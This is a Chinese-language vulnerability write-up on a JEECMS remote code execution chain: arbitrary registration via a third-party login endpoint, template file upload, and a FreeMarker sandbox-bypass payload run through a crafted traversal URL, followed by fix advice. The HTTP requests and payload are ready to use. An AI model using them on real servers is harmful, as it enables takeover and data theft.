某内容管理系统RCE漏洞分析
字数 1628 2025-08-09 23:12:43

JEECMS远程代码执行(RCE)漏洞分析与利用指南

0x01 漏洞概述

JEECMS内容管理系统存在一个严重的远程代码执行漏洞组合,该漏洞由以下两个安全问题组成:

  1. 任意用户注册漏洞:通过第三方登录接口可绕过注册限制
  2. 文件上传+模板注入漏洞:结合任意文件上传和FreeMarker模板注入实现RCE

攻击者可以利用这两个漏洞的组合,最终在目标服务器上执行任意系统命令,完全控制服务器。

0x02 漏洞利用前提

  • 目标系统使用JEECMS内容管理系统
  • 系统未修复相关漏洞
  • 攻击者能够访问目标系统前端

0x03 漏洞详细利用步骤

1. 任意用户注册

即使目标站点关闭了普通用户注册功能,攻击者仍可通过第三方登录接口实现注册并获取有效会话凭证。

利用方法

发送以下POST请求到/thirdParty/bind接口:

POST /thirdParty/bind HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
Content-Length: 80

{"username":"attacker","loginWay": 1, "loginType": "QQ", "thirdId": "random123"}

参数说明

  • username:任意用户名
  • loginWay:固定为1
  • loginType:第三方登录类型,可任意填写
  • thirdId:任意第三方ID

成功响应

  • 返回有效的会话凭证(JSESSIONID或JEECMS-Auth-Token)

2. 任意文件上传

利用获取的凭证,通过/member/upload/o_upload接口上传恶意模板文件。

上传请求示例

POST /member/upload/o_upload HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
JEECMS-Auth-Token: [获取的token]
Content-Type: multipart/form-data; boundary=---------------------------boundary
Content-Length: [长度]

-----------------------------boundary
Content-Disposition: form-data; name="uploadFile"; filename="exploit.html"
Content-Type: text/html

${site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.ObjectWrapper").getField("DEFAULT_WRAPPER").get(null).newInstance(site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.utility.Execute"), null)(cmd)}
-----------------------------boundary
Content-Disposition: form-data; name="typeStr"

File
-----------------------------boundary--

上传成功响应

  • 返回上传文件的存储路径,格式为/u/cms/www/<日期>/<随机文件名>

3. 模板注入利用

通过构造特殊的URL路径访问上传的模板文件,触发命令执行。

路径构造原理

  • 系统将URL中的-替换为/
  • 添加模板前缀/WEB-INF/t/cms/www/default和后缀.html

示例利用
假设文件上传到/u/cms/www/202108/12345678.html,则访问:

/..-..-..-..-..-u-cms-www-202108-12345678.htm?cmd=whoami

命令执行结果

  • 服务器将执行whoami命令并返回结果

0x04 技术原理分析

1. 文件上传漏洞

  • 上传接口UploadService.doUpload()未严格校验文件后缀
  • 上传路径固定为/u/cms/www/<date>/,文件名随机但后缀可控
  • 虽然不能直接上传可执行的JSP文件,但可通过模板注入绕过

2. FreeMarker模板注入

系统使用了FreeMarker模板引擎,并配置了SAFER_RESOLVER解析器,限制了以下常见利用方式:

  1. new内建函数限制

    • 禁止实例化ObjectConstructorExecuteJythonRuntime等危险类
  2. api内建函数限制

    • api_builtin_enabled默认为false,无法使用

绕过方法
利用数据模型中暴露的CmsSite对象,通过以下链式调用实现代码执行:

${site.getClass().getProtectionDomain().getClassLoader()
  .loadClass("freemarker.template.ObjectWrapper")
  .getField("DEFAULT_WRAPPER").get(null)
  .newInstance(
    site.getClass().getProtectionDomain().getClassLoader()
      .loadClass("freemarker.template.utility.Execute"), 
    null
  )(cmd)}

关键点

  1. 通过ProtectionDomain.getClassLoader()绕过Class.getClassLoader()限制
  2. 利用ObjectWrapper.DEFAULT_WRAPPER静态实例绕过构造方法限制
  3. 通过ObjectWrapper.newInstance()实例化被禁用的Execute

0x05 防御建议

  1. 修复任意注册漏洞

    • 严格校验第三方登录接口
    • 当关闭注册功能时,应完全禁用相关接口
  2. 修复文件上传漏洞

    • 严格限制上传文件类型
    • 对上传文件内容进行检查
    • 将上传文件存储在非web可访问目录
  3. 修复模板注入漏洞

    • 升级FreeMarker到最新版本
    • 配置ALLOWS_NOTHING_RESOLVER解析器
    • 限制模板中可访问的对象和方法
  4. 其他防护措施

    • 实施WAF防护
    • 定期安全审计
    • 最小权限原则运行服务

0x06 漏洞影响

该漏洞组合影响严重,攻击者可利用它:

  • 完全控制服务器
  • 窃取敏感数据
  • 植入后门
  • 作为内网渗透跳板

建议所有使用JEECMS的用户立即检查并修复此漏洞。

JEECMS远程代码执行(RCE)漏洞分析与利用指南 0x01 漏洞概述 JEECMS内容管理系统存在一个严重的远程代码执行漏洞组合,该漏洞由以下两个安全问题组成: 任意用户注册漏洞 :通过第三方登录接口可绕过注册限制 文件上传+模板注入漏洞 :结合任意文件上传和FreeMarker模板注入实现RCE 攻击者可以利用这两个漏洞的组合,最终在目标服务器上执行任意系统命令,完全控制服务器。 0x02 漏洞利用前提 目标系统使用JEECMS内容管理系统 系统未修复相关漏洞 攻击者能够访问目标系统前端 0x03 漏洞详细利用步骤 1. 任意用户注册 即使目标站点关闭了普通用户注册功能,攻击者仍可通过第三方登录接口实现注册并获取有效会话凭证。 利用方法 : 发送以下POST请求到 /thirdParty/bind 接口: 参数说明 : username :任意用户名 loginWay :固定为1 loginType :第三方登录类型,可任意填写 thirdId :任意第三方ID 成功响应 : 返回有效的会话凭证(JSESSIONID或JEECMS-Auth-Token) 2. 任意文件上传 利用获取的凭证,通过 /member/upload/o_upload 接口上传恶意模板文件。 上传请求示例 : 上传成功响应 : 返回上传文件的存储路径,格式为 /u/cms/www/<日期>/<随机文件名> 3. 模板注入利用 通过构造特殊的URL路径访问上传的模板文件,触发命令执行。 路径构造原理 : 系统将URL中的 - 替换为 / 添加模板前缀 /WEB-INF/t/cms/www/default 和后缀 .html 示例利用 : 假设文件上传到 /u/cms/www/202108/12345678.html ,则访问: 命令执行结果 : 服务器将执行 whoami 命令并返回结果 0x04 技术原理分析 1. 文件上传漏洞 上传接口 UploadService.doUpload() 未严格校验文件后缀 上传路径固定为 /u/cms/www/<date>/ ,文件名随机但后缀可控 虽然不能直接上传可执行的JSP文件,但可通过模板注入绕过 2. FreeMarker模板注入 系统使用了FreeMarker模板引擎,并配置了 SAFER_RESOLVER 解析器,限制了以下常见利用方式: new 内建函数限制 : 禁止实例化 ObjectConstructor 、 Execute 和 JythonRuntime 等危险类 api 内建函数限制 : api_builtin_enabled 默认为false,无法使用 绕过方法 : 利用数据模型中暴露的 CmsSite 对象,通过以下链式调用实现代码执行: 关键点 : 通过 ProtectionDomain.getClassLoader() 绕过 Class.getClassLoader() 限制 利用 ObjectWrapper.DEFAULT_WRAPPER 静态实例绕过构造方法限制 通过 ObjectWrapper.newInstance() 实例化被禁用的 Execute 类 0x05 防御建议 修复任意注册漏洞 : 严格校验第三方登录接口 当关闭注册功能时,应完全禁用相关接口 修复文件上传漏洞 : 严格限制上传文件类型 对上传文件内容进行检查 将上传文件存储在非web可访问目录 修复模板注入漏洞 : 升级FreeMarker到最新版本 配置 ALLOWS_NOTHING_RESOLVER 解析器 限制模板中可访问的对象和方法 其他防护措施 : 实施WAF防护 定期安全审计 最小权限原则运行服务 0x06 漏洞影响 该漏洞组合影响严重,攻击者可利用它: 完全控制服务器 窃取敏感数据 植入后门 作为内网渗透跳板 建议所有使用JEECMS的用户立即检查并修复此漏洞。